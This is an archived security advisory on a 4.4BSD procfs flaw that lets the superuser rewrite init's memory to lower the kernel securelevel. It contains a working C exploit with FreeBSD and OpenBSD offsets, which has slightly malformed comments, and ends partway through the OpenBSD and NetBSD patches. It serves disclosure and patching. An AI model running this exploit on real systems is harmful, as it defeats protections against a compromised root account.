COMMAND

    securelevels (kernel)

SYSTEMS AFFECTED

    It is  believed that  all 4.4BSD  operating systems  are currently
    vulnerable  to  this  problem.   Known:  OpenBSD  2.0. 2.1 (except
    current), FreeBSD (except current), NetBSD (all versions).

PROBLEM

    This info is based on Thomas H. Ptacek's post.

    Certain security measures in the 4.4BSD kernel rely on a  variable
    called the "securelevel",  which is intended  to allow the  system
    to run  with heightened  security after  initializations that  may
    require   extra   flexibility.   Mechanisms   that   rely  on  the
    securelevel  are  inactive  until  the  securelevel is raised to a
    nonzero value.

    The securelevels  system relies  on the  fact that  no user on the
    system, including the superuser,  can lower the variable  after it
    has been raised.  This allows securelevels to be used to implement
    protections in the kernel against a compromised superuser account.
    A commonly-used example is the filesystem "immutable" flag,  which
    prevents  flagged  files  from  being  modified  by  anyone on the
    system, including the superuser.

    The process of transitioning the system into single-user mode from
    multi-user mode involves  several functions that  require enhanced
    access to system  internals. Because of  this, the "init"  process
    has the exclusive  ability to decrease  the system securelevel  to
    facilitate  this  process.  In  recognition  of  this,   in-kernel
    process-level  debugging  utilities,  such  as the ptrace() system
    call, do not function on the "init" process.

    The 4.4BSD  process filesystem  presents a  filesystem perspective
    to the process table. Process  information tools such as "ps"  can
    read the process filesystem information as directories and  files,
    instead of digging  through kernel memory  directly. Additionally,
    process  debugging  tools  can   use  procfs  to  modify   running
    processes.   Like  ptrace(),  the  procfs  code  has recently been
    modified to prevent the subversion of the running init process.

    Unfortunately, a  vulnerability in  the procfs  code remains which
    allows a  user with  superuser credentials  to modify  the running
    init  process  and  force  it  to  reduce  the system securelevel.
    Although the "attach" command,  which is the procfs  equivalent to
    the "attach" interface provided by ptrace(), is disallowed on  the
    init  process,  write  access  to  the  virtual memory of the init
    process remains enabled. Modification to the running init  process
    image can be used to subvert the process.

    The  4.4BSD  process  filesystem  describes  each  process  with a
    series of  files, including  "status", which  provides the process
    status, "regs",  which details  the register  set of  the process,
    "mem", which provides access to  the memory image of the  process,
    and "ctl",  which provides  an interface  to process  control. The
    procfs  vulnerability  described  in  this  advisory  exploits the
    "mem" process description file.

    By opening  the "mem"  file of  the running  init process  up in a
    write mode, the  virtual memory image  of the init  process can be
    modified.  This  access can be  used to alter  the executable code
    of the running process in it's text segment.

    This can  easily be  exploited to  reduce the  securelevel of  the
    system by altering code in init that already involves modification
    of the  securelevel. One  place where  this occurs  is within  the
    "multi_user()" routine,  which sets  the securelevel  to "1"  upon
    entry   (expressing   the   default   behavior   of  running  with
    securelevels enabled after initializing the system).

    The relevant code is:

        if(getsecuritylevel() == 0)
                setsecuritylevel(1);

    By excercising write access to the text of the init process,  that
    code can be altered to set  the securelevel to 0 by modifying  two
    bytes of executable code -  one two cause the "if"  conditional to
    evaluate true after  the system has  entered multi-user mode,  and
    one to alter  the value passed  to "setsecuritylevel" from  "1" to
    "0", affecting a reduction in the system securelevel.

    The newly modified code now reads:

        if(getsecuritylevel() != 0)
                setsecuritylevel(0);

    The init  program is  a finite  state machine  driven by  function
    pointers.   The  program  can  be  forced  to call multi_user() by
    setting a  function pointer  (using the  "mem" file  again) to the
    address of this  routine. The next  time "init" changes  state, it
    will call multi_user() and reduce the securelevel.

    The following  code will  compile and  run on  any 4.4BSD  system.
    However, it relies  on offsets into  the memory image  of the init
    process that  may change  from OS  to OS,  and from compilation to
    compilation.  Attempting  to  run  this  program  on  an operating
    system other than the one  for which it was intended  will corrupt
    the text of  the init process,  and probably cause  your system to
    crash.  Use caution when attempting to use this program to  assess
    your vulnerability.

    After  successfully  running  the  program,  the  next  init state
    transition will result in the system securelevel being reduced  to
    "0".

    ----- cut here -----

    /* FreeBSD 3.0 /sbin/init / procfs securelevel exploit */

    #include <stdio.h>
    #include <fcntl.h>
    #include <errno.h>

    /* these offsets are for FreeBSD 3.0 /sbin/init. Incorrect offsets
     * will cause your system to crash.
     */

    /* offset to the beginning of the multi_user() routine */
     * OpenBSD: 0x2eb4
     */

    #define  MULTI_USER_ROUTINE             0x27f8

    /* offset of the JNE instruction in multi_user()       */
     * OpenBSD: 0x2eb4 + 21
     */

    #define  EVALUATE_TRUE                  (0x27f8 + 21)

    /* offset of the argument to the PUSH instruction      */
     * OpenBSD: 0x2eb4 + 24
     */

    #define  SET_TO_ZERO                    (0x27f8 + 24)

    /* offset of the "requested_transition" variable       */
     * OpenBSD: 0x290b8
     */

    #define  TRANSITION_TO_MULTI_USER       0x2f0a0

    #define  INIT_MEMORY_FILE               "/proc/1/mem"

    /* invariant */

    #define  JNE                            0x74

    extern int errno;

    int main(int argc, char **argv) {
            int init_mem;
            char c;
            int i;

            /* access init's virtual memory image */

            init_mem = open(INIT_MEMORY_FILE, O_RDWR);
            if(init_mem < 0) {
                    perror("open");
                    exit(errno);
            }

            c = JNE;

            /* change == to != (JE to JNE)  */

            lseek(init_mem, EVALUATE_TRUE, SEEK_SET);
            write(init_mem, &c, 1);

            c = 0x0;

            /* change 1 to 0                */

            lseek(init_mem, SET_TO_ZERO, SEEK_SET);
            write(init_mem, &c, 1);

            /* change next state transition to multi_user */

            i = MULTI_USER_ROUTINE;
            lseek(init_mem, TRANSITION_TO_MULTI_USER, SEEK_SET);
            write(init_mem, &i, 4);

            close(init_mem);

            /* force an init state transition */

            if(!fork())
                    exit(0)

            usleep(10000);

            exit(0);
    }
    ----- cut here -----

SOLUTION

    Two  immediate  fixes  are  available  to  this problem. The first
    resolves the specific problem  presented by the procfs  interface,
    and  the  second  prevents  "init"  from  being  able to lower the
    securelevel at all, resolving  the more general problem  presented
    by making "init" a target for compromising the kernel.

    A  workaround  to  the  problem  is  simply  to disable the procfs
    filesystem in  your kernel  binary, by  not specifying  it in  the
    kernel config file, reconfiguring  the kernel, rebuilding it,  and
    rebooting off the new kernel.  This will reduce the  functionality
    of process debugging tools.

    The procfs fix involves a modification to sys/miscfs/procfs_subr.c
    which implements  the procfs_write()  vnode interface.  By causing
    the procfs_rw() routine  to fail when  the affected process  ID is
    "1",  "init"  is  now  safeguarded  against  modification from the
    process filesystem.  An OpenBSD fix to the problem is provided  at
    the end.  NetBSD too.

    The   "init"   securelevel   fix   involves   a   modification  to
    sys/kern/kern_mib.c,  where   the  "sysctl"   interface  to    the
    "securelevel" variable is implemented.  By causing this  interface
    to  fail  at  all  times  when  the request attempts to reduce the
    securelevel, "init" is prevented from compromising the system.

    To prevent the process  filesystem from enabling the  superuser to
    modify the running init image,  apply the following patch to  your
    OpenBSD kernel.

    ----- cut here -----

    *** sys/miscfs/procfs/procfs_subr.c     Tue Jun 24 15:56:02 1997
    --- sys-old/miscfs/procfs/procfs_subr.c Tue Jun 24 15:55:06 1997
    ***************
    *** 1,3 ****
    ! /*    $OpenBSD: procfs_subr.c,v 1.5 1997/04/06 07:00:14 millert Exp $ */
      /*    $NetBSD: procfs_subr.c,v 1.15 1996/02/12 15:01:42 christos Exp $        */

    --- 1,3 ----
    ! /*    $OpenBSD: procfs_subr.c,v 1.6 1997/06/21 12:19:45 deraadt Exp $ */
      /*    $NetBSD: procfs_subr.c,v 1.15 1996/02/12 15:01:42 christos Exp $        */

    ***************
    *** 222,225 ****
    --- 222,228 ----
            if (p == 0)
                    return (EINVAL);
    +       /* Do not permit games to be played with init(8) */
    +       if (p->p_pid == 1 && securelevel > 0 && uio->uio_rw == UIO_WRITE)
    +               return (EPERM);

            switch (pfs->pfs_type) {

    ----- cut here -----

    To  prevent  "init"  from  being  able  to  decrease  the   system
    securelevel, apply the following patch to your OpenBSD kernel.

    ----- cut here -----

    *** kern_sysctl.c.orig  Tue Jun 24 17:28:52 1997
    --- kern_sysctl.c       Tue Jun 24 17:29:37 1997
    ***************
    *** 238,242 ****
                            return (error);
                    if ((securelevel > 0 || level < -1)
    !                   && level < securelevel && p->p_pid != 1)
                            return (EPERM);
                    securelevel = level;
    --- 238,242 ----
                            return (error);
                    if ((securelevel > 0 || level < -1)
    !                   && level < securelevel)
                        return (EPERM);
                    securelevel = level;

    ----- cut here -----

    Here's a patch for NetBSD which fixes this:

    Index: procfs_subr.c
    ===================================================================
    RCS file: /cvsroot/src/sys/miscfs/procfs/procfs_subr.c,v
    retrieving revision 1.18
    diff -c -2 -r1.18 procfs_subr.c
    *** procfs_subr.c       1997/05/05 07:35:13     1.18
    --- procfs_subr.c       1997/06/25 11:17:52
    ***************
    *** 222,225 ****
    --- 222,242 ----

            switch (pfs->pfs_type) {
    +       case Pregs:
    +       case Pfpregs:
    +       case Pmem:
    +               /*
    +                * Do not allow init to be modified while in secure mode; it
    +                * could be duped into changing the security level.
    +                */
    +               if (uio->uio_rw == UIO_WRITE &&
    +                   p == initproc && securelevel > -1)
    +                       return (EPERM);
    +               break;
    +
    +       default:
    +               break;
    +       }
    +
    +       switch (pfs->pfs_type) {
            case Pnote:
            case Pnotepg: